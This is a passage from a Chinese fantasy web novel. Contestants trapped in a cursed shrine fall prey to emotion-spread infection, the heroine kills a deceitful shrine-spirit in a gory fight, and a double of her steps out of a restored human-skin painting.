冷荻沉静、狠厉地盯着老头龛,仿佛只要它说一句假话,就一刀送它下地狱。
“不是,是她腰间的水葫芦,有感染的气息。”
“那是一个因感染而牺牲的队友尸体残液。”白从欢担心道:“冷姐姐,把水葫芦扔了吧。”
“不用扔,封在水葫芦里不碍事。”老头龛的肩膀挣了挣身上的绳索,“你们快给我松绑吧,我这一把老骨头都快被你们折腾散架了。”
白从欢要上去松绑,全程盯着老头龛不语的柳鸷忽然出手制止,“等明天到了沙绪酒庄,自然会给你松绑。”
老头龛气得直瞪柳鸷,“你这个坏丫头!”
夜深后,选手们吃饱喝足,准备休息一晚,好应付明天的沙绪酒庄。为安全起见,秦为墨安排了人轮流守夜,未守夜者分散在椅子、地上蜷缩着,打起了盹儿。
这一天光怪陆离的经历耗心耗神,柳鸷也累得睡着了。
梦里,她又梦见了那一头长相诡异的野兽,四肢粗壮,高大,花色的皮肤上长满了眼睛,眼睛如血口大张的嘴,眼睫亦如獠牙。
野兽冲出门,一脚踹在柳鸷的心口,直接将她踹到对面的门上,发出怪异的气泡音,“小柳老师,我们又见面了。”
柳鸷呕着血,在白色的长廊上狂奔,野兽玩似的不紧不慢的追在身后。
柳鸷跑了很久很久,喉咙泛着血腥,难受的想吐。
她吐出一口血喷在门上,缓缓地倒在地上。
柳鸷恍惚的抬眼,望见那扇门上的房号,6016。
为什么?
跑了那么久还在原地打转。
门开了,野兽从门内迈出,居高临下的宣布:“小柳老师,你输了。”它张开眼睛,一口血盆大嘴,咬下柳鸷的头颅。
柳鸷瞬间从梦中惊醒,下意识的探手摸自己的头颅,还在!
柳鸷万幸的松了一口气,抹掉额头上淌着的涔涔汗液。左右望,发现周围的人都睡着了,连原本该守夜的人也睡着了。
前柜上的窗户不知何时,被关上了。
原本烛火通明的屋子,十一盏壁灯全灭了,四周黑漆漆、也静悄悄的,仅剩下桌上的一盏油灯,微光晃动着、堪堪照亮房间一角。
黑暗里,似乎有什么在挪动,柳鸷看不清。但传来“咯咯咯”的声音,很轻、很缓,却沉甸甸地踏在柳鸷的耳膜上。
柳鸷不敢大动,只左右扯了扯旁边的冷荻和白从欢。
倏地,一个黑暗的身影从远处猛地扑倒柳鸷,柳鸷忍着撞击的痛,想要反击,却发现的法力使不上劲。
刚升级的二级法力一点都用不上!
黑影睁着一双赤红色的眼睛,在发亮,他张开嘴想要撕咬柳鸷。
柳鸷灵巧的闪过,对方只咬到她的衣袖,撕扯着。
“所有人!都醒醒!”
柳鸷一脚踹开黑影,挥匕断袖,爬起身,闪到油灯处,借着光,她看清了攻击她的黑影,竟然陈离翡!!!
37. 酒骨龛(九)
陈离翡面部呆滞无神,瞳孔成了赤红色。
难道他被感染了?
柳鸷未来得及深思,骤然又被袭击、扑倒。
操!
这次是金千菲,亦是赤红眼。
“嗷呜——”两人狰狞,嚎叫着,一左一右,攻击柳鸷。
刚升级二级法力的柳鸷,刚开始还游刃有余应对。可金千菲和她法力同级,加上一个陈离菲。两人感染后,力气变得奇大无比。
久了,柳鸷不免有些吃力。
柳鸷一个不留神,陈离翡变招,反掐住柳鸷脖子,单手扛起柳鸷,就像捏着一只小蚂蚁,翻了个过肩摔。
柳鸷直接被摔到门上,滚落。
柳鸷闷声吃痛,以她的法力根本斗不过发狂的这两人。但仍不输气势的警告:“你们再这样,我就不客气了。”
她的脑子转得飞快。
蓦地,余光瞥见大拇指上的扳指在闪着微光。
她怎么忘了,柏封棠送给她的铉隼剑。
柳鸷甩了下大拇指上的扳指,化为一柄软剑,剑势如虹,周身流转着,寸寸刺目的金光。
一剑挥过,剑刃破空,金光冲天而起,陈离翡和金千菲虽前后闪躲,却也被剑气所伤,摔在地上。
柳鸷撑着剑站起来,森白的刀刃映出黑暗里,狰狞闪烁的、一双双赤红的眼睛。
共十八只!
是一排的选手们,全都醒了,一个个人的眼睛全部变成了赤红色。
柳鸷瞳孔一颤。
怎么回事?全感染了?
冷荻和白从欢跪抱着头,手狂舞着,似在和无形的敌人厮杀,很是痛苦。
秦为墨靠在一旁紧皱着眉头,狂躁不安的紧咬着唇,喉咙里宣泄出低低的嘶吼。
连柏封棠都俯身,垂着眼帘,看不清他的脸庞,但攥紧的拳头,青筋暴突,暴露了他的克制。
而曲皓尧、谷栖夏、罗圣博等人抽搐、扭曲的,在地上翻滚着,时而痉挛,时而疯挠,咆哮出痛苦的呐喊。
“好痛啊!你们别过来!滚开!”
“啊!你有种杀了我!”
“啊啊啊!不是我的错。”
......
这一群人,像陷入了恐怖的梦魇,疯了,全疯了!
柳鸷谨慎的后退半步,手靠上门栓。
万宝子从黑暗中跑出来,“美人姐姐快跑。他们全在被感染了,全疯了!”
柳鸷沉静的看着万宝子的眼睛,“你呢?”
“我是半异种,感染不了我。”
“那好。你过来,我们一起走。”
“不,我要留下来陪师兄。”
“你留下来有何用?出去,活下来,或许能找到救他们的方法。”
万宝子一想,觉得柳鸷说得有道理,跑过来。
柳鸷带着他打开门栓,但门却推不开。
陈离翡和金千菲从地上跃起来,冲向这边,情急之下,柳鸷一剑劈向木门。
刀风过处,木屑飞溅、零碎的落在地上,门外又是一堵木门。
陈离翡和金千菲攻击过来时,柳鸷没有反击,只拉着万宝子闪开。
陈、金二人收手不及,惯性撞进木门里,将木门撞凹成两个人形状。
木门裂开,大片木头摔下来,才看清,这木门是一层又一层、无穷尽的木门。
陈、金二人深陷进木门里,不断得挣扎着。
陈离翡腰间斜陷的玉佩,颤动着,两下,缓缓地从墙上滑下来。
这里,似乎变得和柯翰的华容道屋子,有些类似了。
忽然,从黑暗处传来一阵“呵呵呵”的癫狂怪笑,“你们逃不出去了。”
柳鸷循声而去,扫过昏暗中的痛状各异的选手们,视线锁定在老头龛身上。“是你搞得鬼。”
老头龛挣了挣手臂,砰的一下,捆绑的绳索轻而易举的,从它身上脱落。
老头龛一改先前懦弱、可怜、求饶的形象,从椅子里站起来,随口道:“你们来时本来就被感染了,我不过是稍稍催发下而已。”
它瘦弱、佝偻的身形信步走至冷荻面前,捡起了她脚边的水葫芦,拧开盖子嗅了一下,“嗯~好纯正的情绪啊!”
柳鸷想到最开始,柯翰在沙窟里说得他怕黑,以及他的残液最后留下的“惧”字。
“感染源是情绪?”
“嗯哼,七情六欲。每一个人都会有。情绪啊,是会相互传染的。”老头龛扫过痛苦的众人,自顾自地偏头说:“你们之中,有队友、家人、朋友、恋人。”
“你们一路同行,任何人的喜、怒、哀、惧、爱、恶、欲都会通过耳、目、口、鼻、身、意这六欲传染给周边的人。而周边的人会因此产生新的情绪。”
“不过我很好奇,为什么你没事?”老头龛思索,“按理说,七情六欲人之常有,而你四大皆空,一个不中。”
“莫非,你不是人?”老头龛赤红、又老态的眼睛,不怀好意地盯着柳鸷。
“我若不是人,那是什么?”柳鸷从容不迫的,“无能的龛,从不反省自身,却总喜欢在别人身上找借口。”
“你觉得是我太弱,催发不了你的情绪?”
万宝子气鼓鼓的,反诘,“不然呢?你这种不守信用的龛,满口谎言的骗子,真不配为龛!”
“龛者,狡也,方为强者。”老头龛毫不在意道:“骗骗你们,你也信。你们都被感染了,自己都出不去,还想破龛,帮我出去?简直痴心妄想!”
“你骗我们?你的母亲也是假的?”
“哈哈哈!母亲?无知的妇人。早就死了。我亲手杀得。”老头龛睁大了凸出的眼睛,嘴角边的麻布条绷紧,狞笑着:“但凡阻碍我成为上阶龛者,死!”
“我在这里守了几十年,就是为了等待新鲜的情绪到来。只要收集到所有的情绪,以肥料施灌给葡萄藤,葡萄藤就能恢复正常。那么,我就能在七日后的酒骨龛中献出美酒。”
“龛主喜酒,它高兴了,自会授我画艺,画好画,我就可以升阶了。我会成为酒骨龛里,一人之下,万人之上的上阶龛。”
老头龛越说越兴奋,仿佛几十年来的唯一愿望就要实现了。
柳鸷觉得这龛有病,且病得不轻。
“老头,你的情绪是欲吧?”
“你!你怎么.....?”老头龛十分诧异,抖着手指指挥曲皓尧和罗圣博,“你们两个,去给我杀了她,我要敲开她的脑袋看看,她到底藏着何种情绪?”
柳鸷嗤之以鼻,毫不惧怕,持剑道:“来,看看是我敲开你的脑子,还是你敲开我的脑子。”
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皓尧满是汗液的头,握着刀,爬起来,步伐凌乱,急促地一刀砍下去,砍在碎裂的桌子上。
而后,曲皓尧继续朝破桌子狂砍,咆哮着:“我砍死你!砍死你!砍死你!......”
罗圣博稍扭曲的身体,起身,又颤抖、痉挛地跪下去,蜷缩在地上喃喃道:“不是我!不是我!不是我!......”
没有一个听老头龛的话。
柳鸷冷嗤。
老头龛挂不住面子,气急大喊:“谷栖夏!你给我杀了她。”
旁边打滚、抽搐的谷栖夏,爆发出一声巨大的嘶吼:“啊啊啊——”
柳鸷侧眸,一瞬,满是惊愕!
是谷栖夏跪在地上,双手置于脸前,十指缝间淌着鲜红的血。
她的手心捧着,亲手挖出的两颗赤红色的眼珠。
“不要妄想控制我,我、绝不臣服!”谷栖夏奄奄一息的声调中,夹杂着残忍的、解脱的快感。
旋即,她脱力地倒在地上。
柳鸷噎下一口唾液,试探性地,“谷栖夏?”
死了?
她空洞的眼眶里,溢出无尽的血,两颗眼球脱手,滚在地上,往柳鸷这边滑。
老头龛见状,飞奔而来,缠满麻布条的手指即将触碰眼球前,柳鸷抖剑一挑,两颗眼球向后,飞上屋顶。
身后的万宝子跳起,正好接住两颗眼睛。他嗅了下,“美人姐姐,是情绪的味道。谷栖夏的情绪在眼球里,要碾碎,开起来看看吗?”
老头龛激动,“开!开起来看看!”
柳鸷不确定谷栖夏是死是活,不便擅动他人之物。“先收着,等我先开了这老头。”
柳鸷剑尖轻颤,划过地上,身影一闪,疾速跑向老头龛。
老头龛轻蔑着,“口出诳语的丫头,死到临头还敢嘴硬。”老头龛手腕奋力一挥,一条条麻布条从腕口飞出,如一条灵巧的蛇,直击柳鸷。
柳鸷挥过铉隼剑,寒光凌厉的闪过,麻布条被斩断,零落满地。
老头龛被贯力一顿,不由向后飘退,吃惊的瞪大浑浊的瞳孔,“你这剑?非凡物。你到底是何人?”
柳鸷没回,凌空跃起,进一步攻击。
老头龛伸出麻布条翻卷起桌子、椅子、炭盆......砸向柳鸷。
柳鸷的剑光横扫而过,全都应声而裂。
老头龛咬紧牙关,招招防守,被逼得节节败退至壁画前。
老头龛大喝一声,“龛主来了!”趁柳鸷晃神,它集中力量从下方惯出麻布条绞住柳鸷的脖颈。
但没有料到,柳鸷的反应非常快,且机警。
麻布条刚绞住她的脖子,柳鸷的剑毫不客气,锋刃由上方笔直的刺进老头龛的心口。
糖葫芦的血色溅在柳鸷脸上。
麻布条缓缓的松落下。
老头龛捂着胸口上的剑,难以置信的张大了嘴巴。
柳鸷染血的眉间藏着胆寒杀意,嘴角边扬起淡淡的笑,一字一句的回道。
“我,是杀你的人。”
老头龛眼神满是不甘与恨意,柳鸷拔起剑,再一剑刺向它时,老头龛爆发出沙哑而尖锐的吼声:“啊——”
“嘭”的一声巨响!
老头龛身上、脸上的麻布条嘶地爆撑开,柳鸷被迫后撤一大步。
38. 酒骨龛(十)
再抬眼,老头龛的肉身已经开始膨胀。
柳鸷担心老头龛巨化成像柯翰那样的超级巨人,决定先下手为强。
但老头龛的动作更快,它抛出麻布条环绕、缠上柳鸷,柳鸷以剑直劈麻布条,但根本劈不断。
麻布条如收缩的笼,越来越近,越来越紧,要将她扼杀。
柳鸷左右打量,脚下轻点布墙,纵身跃起,冲出笼顶部。
铉隼剑疾速擦过麻布条,一道炫目的火光,麻布条尖端爆亮,一路沿着长条,激起一阵锵锵锵的尖鸣——
柳鸷直抵老头龛,从它巨化的手臂跃上肩膀、凌空翻身。
老头龛意识到她要做什么,避之不及,铉隼剑裹挟着风,精准地刺进它的眼睛。
老头龛惨叫着,踉跄后退。
柳鸷喘着气,汗沿着脸颊滑落,执剑的手也因太过用力,而在轻轻的发抖。
柳鸷踩着老头龛的巨大鼻头,拔剑,继续上攻,将它的另一只眼睛也捅穿了。
糖葫芦般鲜红的血从双眼流下来,浸湿了土棕色亚麻布,在巨化的胸膛、斑驳的布条上漫延,像诅咒一样扭曲成一个“欲”字。
老头龛的身体像一尊定格的雕像,僵住。喃喃道:“我的情绪,没了。”
随之响起嘭!嘭!嘭!的爆炸声从老头龛的额头、眼睛、鼻子、嘴巴连环炸开,血如烟花流火,四处溅洒。
万宝子躲在一旁,兴奋道:“美人姐姐,你好厉害!”又悻悻地,“好脏啊!快躲起来!”
最后一声头部炸裂的巨响,似有千钧之力,震得屋顶的沙砾都在颤抖、落下,尘土飞扬。
柳鸷被强大的冲击力震飞。
一道身形闪过,伴随着淡淡的迦南香,挡在身后,拦腰截住了柳鸷。
柳鸷摔进柏封棠的胸膛里,两人后撤几步,才堪堪稳住。
铉隼剑从半空中落下,被无头的巨人尸身探手接住。
柳鸷想去夺回,却被柏封棠遒劲有力的手扣着她的前腰腹,抵在他的坚实的胯骨上。
纤细的背脊紧紧贴着蓬勃的胸肌。
尽管隔着薄薄的纱缦,柳鸷依旧能感觉到他的胸腔内急促、密集的鼓点,嗡嗡作响,似乎要撑破胸膛。
柳鸷微微侧眸,捕捉到柏封棠深邃的星眸里闪着赤红的光,充斥着无限的欲望。
“别动。”柏封棠的声线仿佛被沙砾磨蹭过,沙哑又燥的警告着。
他喉咙轻咽,携着难以抑制的渴求,“让我抱一下。”
下一瞬,柏封棠从背后,埋肩抱住柳鸷。
空气中,血腥与沙砾交融、弥漫,柏封棠英挺的脸,蹭着柳鸷光洁、细腻的颈窝。
男性沉重、又异常灼热的气息喷洒在柳鸷颈窝,烫红了她的肌肤,烫得她耳根一阵酥麻,连带着心上那股怪诞的心绪都在小鹿乱蹿。
他近乎疯狂地,蹭在她的颈窝里汲取,是迷恋的、失智的、不能自拔的。
仿佛,她的气味,是他情绪的抑制剂,只听他极淡的声音,“......咬......”
“柏封棠!你冷静点!”
无头的巨人尸身,濒死之际,握着铉隼剑,一剑砍向柳鸷。
剑光挥下。
柳鸷瞳孔放大,反手抓住柏封棠闪躲。怎料,没拉动柏封棠,她人躲开了,手却抓了个空。
“师兄,小心。”万宝子小跑过去,柳鸷再探手也来不及救他。
眼看着凌厉的锋刃落在柏封棠头上,“柏封棠——”
危急时刻,锋刃被扛住了。
一只精瘦的手,握着万锯法扇,堪堪抵住铉隼剑,两道兵器的弧光对峙,形成一道黑金色的屏障。
柏封棠在剑下,抬起头,赤红的瞳孔宛如阴森的磷火,在烧。
柏封棠勾起一抹邪性的寒意,一个掌风震碎了巨化的无头尸身。
老头龛犹如空中楼阁,彻底消散。
沙屋内一片狼藉,桌椅木屑与血渍散乱在各处,横七竖八的选手倒在地上。
欲的血字残液落在墙壁角。
柳鸷的唇上微凉,抿了一下,竟尝到一丝糖葫芦的甜。
她抬袖,抹了一把唇,过去捡起冷荻的水葫芦,将欲的情绪收进去。
七情六欲,灌溉葡萄藤,酿以美酒。
现下,有了惧和欲,两种情绪了。
“师兄,犯恋手癖了吗?”万宝子真是奇人妙语。
柳鸷转身,柏封棠双肩宽阔,立在一幅人皮画前,垂首盯着自己的手掌。
“你手怎么了?”
柏封棠赤红的瞳孔依旧,但情绪所带来的躁狂感在逐渐消散。
他额头微皱,“手心里有东西在动。”
“啊——痛死我了!”不知何时从木门里,脱离出来的陈离翡揉了揉自己的脸,竟然是软绵绵的触感,定睛一瞧,尖叫了声,“这是什么鬼东西?”
他的掌心裂开,从血肉里长出了一条崭新的麻布条,一点一点,缓慢的裹挟住他的手掌。
柳鸷反观柏封棠,亦是。
选手们逐一清醒过来,柳鸷检查过去,除了她、万宝子,谷栖夏,其余选手手掌中皆长了麻布条,且在逐渐生长。
柏封棠恢复了一派漠然的神色,凛然宣布:“我们变成龛了。”
那么淡定,仿佛变成龛的不是他。
刚从发狂中醒来的选手,个个汗流浃背,虚弱得很。听柏封棠这么一说,也是哑巴吃黄连,苦着脸,说不出什么。
原本结实得像牛一样的曲皓尧,无声地抓过一旁的刀,对着自己的掌心。
“唉,曲哥,别砍。”
“你想什么?”曲皓尧赏了一个看白痴的眼神给陈离翡,解释:“我就是试试看,能不能割断这布条。”
冷荻拽了下手心的布条,“别白费力气了,这韧性,砍不断。”说着,她倦倦地,抓着手中的布条,擦了擦额头上的汗液。
“那怎么办?不会真要断手吧?”
“这是情绪所化,长于周身。断了手,大概率也会从心里长出来。”柳鸷顿了下,“如果你们清楚的知道自己的情绪藏于身体何处,可以像谷栖夏那样,挖出来。但是,也会变成她这样的,行尸走肉。”
眼眶空洞的谷栖夏,僵直的躺在一滩漂浮着木屑的血里,一动不动。
柳鸷从万宝子那取过她的两颗眼球,半跪在她身边,“谷栖夏,眼睛,还给你。”
“不要,脏。”谷栖夏的声音冰冷,毫无感情。
柳鸷没规劝,只说:“那我先帮你收着。”
柏封棠摩挲着掌心的麻布条,慢条斯理的将麻布条卷在粗粝的掌间,懒淡道:“这是情绪凝成的心鳞丝,水火不侵,刀剑难伤。破除之法,
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除了挖出情绪,还有破咒笼,可以净化。”
秦为墨微微意外,又释然:“对,破咒笼可以净化万邪。这个笼子在庭长手中。如果我们能在这布条将我们全部吞噬前,回到阙庭,或许庭长有办法救我们。”
布条在生长,生长的速度成了选手们生命的倒计时。
陈离翡激动催促,“那你们快点起来,把金千菲从木门上扣下,我们先出去再说。”
冷荻难得认同一回陈离翡说得话,松开掌心的麻布条,“我去把千菲弄下来。小白,圣博,你们在屋子里找找,看下是否有破除这个幻影的机关,或出口。特别是这十一幅画。”
陈离翡站着柳鸷身后,吐槽,“又要破华容道吗?真没新意。”
“不是。华容道是柯翰喜欢的游戏。老头龛喜欢的、在意的并不是华容道,而是画。”柳鸷扫视过墙壁上悬挂的十一幅画。
“可这些画看起来脏兮兮的,有啥好看的。”
是啊,霉斑点点,毫无艺术可谈,像一幅幅荒诞的宝物。
但要破幻影,必须要知道霉斑之下,真正的画着何物。柳鸷转问旁边秦为墨,“秦哥,发霉的画可以修复吗?”
“你说洗画啊,这些画发霉面积太大,可以用明矾水敷于霉点处。”
明矾水?
柳鸷问:“如果没有明矾水呢?”
“那就用豆腐浆,或者枇杷核汁也是可以的。”
柳鸷:“!!!”
陈离翡扭头,朝白从欢喊:“小白,你们有找到明矾水、豆腐浆或枇杷核汁吗?”
白从欢用手帕当面衣捂着鼻腔,没好气道:“怎么可能有?都什么时候了你还想着吃!这里只有骨骸和碎肉,臭死我了。”
秦为墨皱眉思考,“都没有的话......”身后传来一道声音,“以汤淋洗。”
是柏封棠。
他站在一幅画前,手执着老头龛遗留下的獾毫笔,轻扫画表的霉点,粘浮在表层的霉菌孢子松散地脱落。
柏封棠扬手,随意抛出獾毫笔,正好投进老头龛遗留下的画具里。
他拍了拍手,转过身,“刚试了下,霉点深浅不一,浅得可用毛笔扫掉,深得则用棉布蘸热汤,敷贴、按压霉点,再深的,用陈醋熏蒸。”
“能恢复到多少?”
“看手艺,好手艺能达九层九。”
“试试吧。”柳鸷向来果决。
冷荻安排好受伤的金千菲和谷栖夏,走过来和柳鸷说:“前柜边有水,我和圣博可以去烧水。你们先去扫表层的霉菌孢子。”
冷荻利落的带着罗圣博撬开水缸,是臭的,但还是拖缸出来,烧着。
扫表层霉菌孢子,相当于给画除尘。用柔软的毛笔轻轻扫就可以,比较简单。
于是,柳鸷、柏封棠、万宝子负责左边五幅画,秦为墨、陈离翡、白从欢负责右边六幅画。
几个人的速度还算快,一个时辰便搞定了。
除尘过的画比先前清晰不少,依稀能看见画中的景物。
陈离翡骄傲道:“你们看,我扫这幅画,扫出一个水葫芦。”
万宝子兴奋着:“嘿嘿,我扫出了一片沙漠。”
“这有什么,我这还扫出一个人呢......”白从欢说着,顿住,背后打了一个寒颤,“小鸷,你看,这画中人像不像你?”
39. 酒骨龛(十一)
画中之人的脸庞被霉斑覆盖,看不清。
但她一身朱红衣,丝裙上隐约可见玄金色棣棠花,这分明就是柳鸷此刻身上穿的。
此衣裳乃东柠按照柏封棠的意思,为柳鸷所制。怎么可能会更早的出现在神龛中?
柳鸷看向柏封棠,与他的目光相撞。柏封棠淡淡地,“是你。”
陈离翡不解,“为什么她会在画上?”
白从欢歪头思索,“可能因为她没有被感染。”
曲皓尧嘴快,蹦出一句,“莫非,柳鸷你真的不是人?”
“你想表达什么?”柳鸷冷静的反问。
曲皓尧左右瞅瞅,小声嘀咕,“没什么。”
柳鸷扫过一圈壁上的除过部分霉点的画,“曲皓尧,陈离翡,冷荻。”
“什么?”冷荻和罗圣博在角落里炭火烧水,一时没反应过来。
“冷姐,柳鸷好像叫你。”罗圣博提醒。
“你继续烧,我过去看看。”
柳鸷的指尖跳着、掠过一幅幅画,“九环金泥蹀躞带,鎏金珠玉抹额,金色腰链。”
“你们也在画上。难道你们也没感染,也不是人?”
“诶,柳鸷,你怎么还拖我下水?”陈离翡鼓着腮帮子,瞪柳鸷。
冷荻过来,顺着柳鸷说得看过去,“她没拖你下水,是你本来就在画上。”
柳鸷和冷荻相视,默契的点点头。
这给陈离翡气炸了,“墨墨,她们两个沆瀣一气欺负我!”
秦为墨走近指有陈离翡的那幅画,端量小会,确认道:“小翡,她们没欺负你,画中之人,确实是你。”
众人细瞧,这三幅是一圈画中能见度较好的画,画中的佩饰和衣裳的颜色也对得上。
陈离翡自然也看见了,但不服气,“为什么就我们几个,其他人呢?”
“可能都在画上。”柳鸷说:“十一幅画,十一位选手。”
“热水快烧好了,先修复看看。”
柏封棠让秦为墨给选手们简单培训了下以汤淋洗,修复画的手艺。
不一会儿,热水好了。因屋里没有多余的棉布,选手们只能用掌心生长出麻布条蘸热水。
除了双目失明的谷栖夏,剩余十人一人一幅画,秦为墨主动追加一幅,刚好凑个整。选手们仔仔细细的进行霉斑处敷贴、按压、除霉。
人皮画比宣纸韧性强,轻拭,慢慢融开、吸附霉斑。
掌心没长布的柳鸷,是用自个的披帛蘸热水,修复的也是自己的这幅画。
柳鸷从人形开始修复,一点点轻压,画中的脸露出来的那一刻,柳鸷的呼吸都停了一滞。
太像了。
五官、肤色如同柳鸷等比例缩小,照在画上。
“这到底是什么颜料画得,神奇。”
“我也觉得。特别是脸部的肤质细腻,色调饱满丰润,简直就像真人。”旁边的白从欢眼冒星光,搓着手赞叹,“我也想看看我的画是不是也这么像我,期待!”
“再像也没有你这股子的灵动劲儿!”隔壁的冷荻打了个趣,逗得白从欢心花怒放。
柳鸷揪住披帛,继续修复。随着霉点渐少,画中景象清晰浮现。
蓝色的天幕之下,栩栩如生的柳鸷站着一片黄澄澄的沙漠上,身后是一排排翠绿的、肆意疯长的葡萄苗。
白从欢蹙眉问:“这不是我们刚进入神龛时,在挖沙子种树苗的景象吗?”
冷荻也疑惑,“按老头龛说得,这画出自龛主之手,有几十年了,难道龛主几十年前就预料到我们进龛的场景?”
“为什么不是老头龛撒谎了。”柳鸷松开披帛,环顾四周,其他人的画,也是同样的画景,只是画中人不一样。
直到最后两幅,柏封棠和万宝子负责的。两人修复了一半,但人的轮廓还是一片霉斑。
柳鸷想起当时在墓碑前奇怪的,带着窥视感的天空,大胆猜测:“或许,我们一进入神龛,龛主就一直在看着我们。”
冷荻说:“你的意思是,画是新的。”
“嗯。有这个可能。”
万宝子站着第十一幅画前,雀跃地挥手,“美人姐姐,我和师兄这两幅画上的人形修复不了。”
万宝子修复不了,情有可原,但柏封棠是选手中,修复手艺最好的人。
“为什么修复不了?”柳鸷快步过去,柏封棠卷着尖端发灰的布条,表情有些古怪。
柳鸷细看两幅画中的人形,瞬间恍然大悟。柳鸷的背脊发凉,不可思议地望向柏封棠。
已经修复的九幅画中,均显现出九位选手的相貌。
倘若十一幅画,十一个选手。那剩下两幅未修复的画,很大可能是柏封棠和柯翰。
但空口无凭,柳鸷没有打算质问他,慢慢观察、看他露出马脚比较有意思。
柏封棠注意到柳鸷的目光,笔挺的背微倾,“为什么这样看着我?”
“......”柳鸷:“有么?”
“嗯。有。”他赤红的瞳孔饶是有趣的打量着柳鸷。
柳鸷撇过眼,懒得理他。
冷荻和白从欢过来,站在了最后的两幅画前。
白从欢歪着头端详,指着第十一幅画上,高挑偏瘦的人形说:“冷姐,这人形看着像柯翰啊。”
冷荻双手交叉环臂,颔首道:“是他。”
“那这幅是、、柏神?”白从欢转向第十二幅画,画上的人形高大精悍,覆手而立,一眼就能看出是柏封棠。
“柯翰死了,如果画不显死人。那么柏神也死了。”白从欢霎时望向柏封棠,向来口直心快,“那你又是谁?”
柏封棠冷哼,慢悠、而有气势的,“你觉得我是谁?”
“我在问你,你还和我绕话!”白从欢的杏眼瞪得溜圆了,指着柏封棠点点点。
“你哥怎么教你的,拿手对人指指点点,没礼貌!”
“还敢污蔑我哥。看我不揭穿你这个冒牌货!”白从欢甩下手腕上的金缠钏,变成一条金链的八股长鞭握住手里,大力抽向柏封棠。
“小白!”冷荻喝止。
柏封棠隔空,以一道金光截住金鞭,“怎么?还想杀我?”他的脸色微沉下来,嘴唇抿成一条线,明显地不耐的表情。
冷荻按着白从欢
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握鞭的手,往下压,“松手,不然我也救不了你。”
“他一定是假的,赝品!”白从欢平时古灵精怪的,但脾性泼辣、犟得很,誓不松手。
一直在一旁看戏的柳鸷裙角被扯了扯,低头,是万宝子。万宝子努努嘴,示意柳鸷往前,去劝劝。“小白姐姐要死了。师兄要是生气很恐怖的。”
柳鸷蹲下身,瞅了瞅万宝子肉嘟嘟的脸,兀自左捏捏、右捏捏,“你确定他是真师兄?”
万宝子迷茫了,“不然呢?”小孩又信誓旦旦道:“没有人比我更了解师兄。保真不换!”
这回,轮到柳鸷茫然了。
如果万宝子是真的,确认柏封棠也是真的。反推,柏封棠若是假的,那眼前的万宝子也是假的。
柳鸷脑子很乱,中间肯定缺了重要的一环,导致她无法将整件事情串联、捋顺。
算了,先解决眼前剑拔弩张的两人。
不知何时,选手们都聚拢过来。秦为墨这回谨慎了,不站队,只出声调停。反倒是陈离翡斜眼,上下打量柏封棠,“这拽地二百五似的,铁定是真甜甜。”
柳鸷:“......”
柳鸷拍了拍手,“好了好了,各位看官,我们能否先看画,出了这个屋子再说——”柳鸷的话刚落地,对面响起一声尖叫。
“啊——我的手——”
“圣博,怎么了?”白从欢立即撒鞭,着急地跑过去。
罗圣博倒在柳鸷那幅画前,右手腕被锋利的切断,半身深色的衣裳染了血,晕开大片深渍,地上溅了几处浓醇的糖葫芦红。
罗圣博捂着左手腕口,疼得直冒汗,可地上并无残肢。
冷荻迅速封住他的手腕,被砍断的手腕生长出麻布条,裹住伤口,以减少出血量。
“怎么回事?手呢?”
“画里。”罗圣博虚虚地指向柳鸷的画,柳鸷的朱红色裙摆旁边,一片黄沙上多了一抹红圈,正在向周边扩散。
柳鸷走近看,是血。
可人皮画上并没有他的残肢。
“我刚......画......裙动了,我探手......被吸进去......被砍......”
画,砍人?
柳鸷问:“你手探进去画里,是什么感觉?”
罗圣博似在回忆,痛苦得眉头紧皱成一个川字。“太快了,我......什么来不及感受。”
白从欢安慰着,“好了圣博,你先别说话,休息会。”
冷荻走向柳鸷旁边,“怎么样?看出什么?”
柳鸷摇了摇头。
陈离翡站后边抱着手臂,轻快道:“这画就不是个好东西。伤了我们的人,我觉得我们要以牙还牙,捅画一刀才行!”
白从欢翻了一个白眼,“你有没有脑子,万一这画和柳鸷本体有关,那岂不是把柳鸷给捅死了!”
陈离翡:“啊?那还是不捅了。”
柳鸷却把剑递给陈离翡,“你来捅,试试。”
陈离翡错愕:“......你活得不耐烦了?”
“不,相反,我怀疑,画里另有一个世界。”
40. 酒骨龛(十二)
白从欢的身影被迫往前移动。
柳鸷、冷荻、金千菲一起用法力拽着白从欢往后,像拔河比赛一样,以剑为绳,以画为界。四个人连同剑身,形成一个半径约一丈的电弧,与画里的势力拉锯。
陈离翡要过去帮忙,但又怕四个女人,只站在边上喊:“你们加把劲!把画里的妖怪拉出来!”
万宝子跟着陈离翡,在边上使劲打气:“美人姐姐们,加油!加油!”
“......”秦为墨扑哧一声,笑了。
柏封棠长身玉立在一旁,轻摇着法扇,好整以暇。
曲皓尧看不下去四个女生在那拉扯,且快要撑不住了,直接过去帮忙。曲皓尧加入后,明显往回拉了一截,但对方的利用也加大,五个人又被往回拉。
“靠!你们俩喊屁,有力气喊不如过来帮忙!”曲皓要额头的青筋都要爆了。
陈离翡和万宝子讪讪闭嘴,加入帮忙,但对方也在加大法力。
之后,秦为墨被陈离翡催促,也加入了‘拔河队伍’,堪堪稳住局面,又被对方反拉。
秦为墨拧眉,“怎么回事?这法力比一位上舍乙等选手还高。”
柏封棠徒然一笑,摇了摇头,踱步至剑柄前端,展开左手,骨节分明的五指慢慢卷握,手往回一扬。
一群人连带着剑被掀倒,叠罗汉一样,纷纷倒在地上。
“你们都起开,压死墨墨了。”陈离翡身下压着秦为墨,身上压着万宝子、曲皓尧以及四个姑娘。
“宝子也要被压扁了。”万宝子痛呼。
最上层的柳鸷和白从欢连忙爬起来,底下的人如鱼儿般,迅速脱网,散开。
“画里头到底是什么,怎么法力那么高?”曲皓尧一边揉着胸膛,一边抱怨。
怎料到,柳鸷那幅画,蓦地,从画中红圈处,伸出一只如葱白般的手,修长的中指上系着一根发丝蝴蝶结。
“操!它出来了!”曲皓尧抓起刀就往画前冲。
柳鸷大喊:“别砍!”
曲皓尧已挥刀下去,根本收不及,柏封棠飞飙过法扇,击中曲皓尧的手,手不受力,刀落下,堪堪擦过那只画中手。
那只手轻轻的、撕开人画皮。
一层又一层。
露出一张和画中柳鸷一样的脸。
她缓缓地睁开眼睛,提着剑从画中跃出来。
“怎、怎么回事?这是人是鬼?”白从欢前看看,又后看看,“怎么有两个一模一样的柳鸷?”
冷荻出声,“这位姑娘,你是谁?为什么假冒柳鸷?”
画人柳鸷扫过眼前的选手们,与柳鸷目光相撞,冷厉的,“应该是我问,你们为什么假冒我们?”
众人:??
